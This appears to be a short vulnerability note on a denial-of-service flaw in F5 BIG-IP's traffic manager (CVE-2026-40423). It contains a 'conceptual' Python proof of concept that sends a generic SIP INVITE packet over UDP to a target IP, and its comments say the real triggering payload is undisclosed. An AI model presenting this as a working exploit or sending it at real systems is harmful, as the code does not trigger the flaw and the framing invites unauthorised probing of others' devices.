CVE-2026-40423 F5 BIG-IP TMM拒绝服务漏洞

import socket # Conceptual PoC for CVE-2026-40423 # Sends a SIP packet to target. Note: Specific payload is undisclosed. def send_sip_packet(target_ip, port=5060): # Basic SIP INVITE template payload = ( b"INVITE sip:test@" + target_ip.encode() + b" SIP/2.0\r\n" b"Via: SIP/2.0/UDP 192.168.1.100:5060\r\n" b"Max-Forwards: 70\r\n" b"To: <sip:test@" + target_ip.encode() + b">\r\n" b"From: <sip:[email protected]>;tag=1928301774\r\n" b"Call-ID: [email protected]\r\n" b"CSeq: 314159 INVITE\r\n" b"Contact: <sip:[email protected]>\r\n" b"Content-Length: 0\r\n" b"\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, port)) print(f"[+] Packet sent to {target_ip}:{port}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() # Usage: send_sip_packet("TARGET_IP")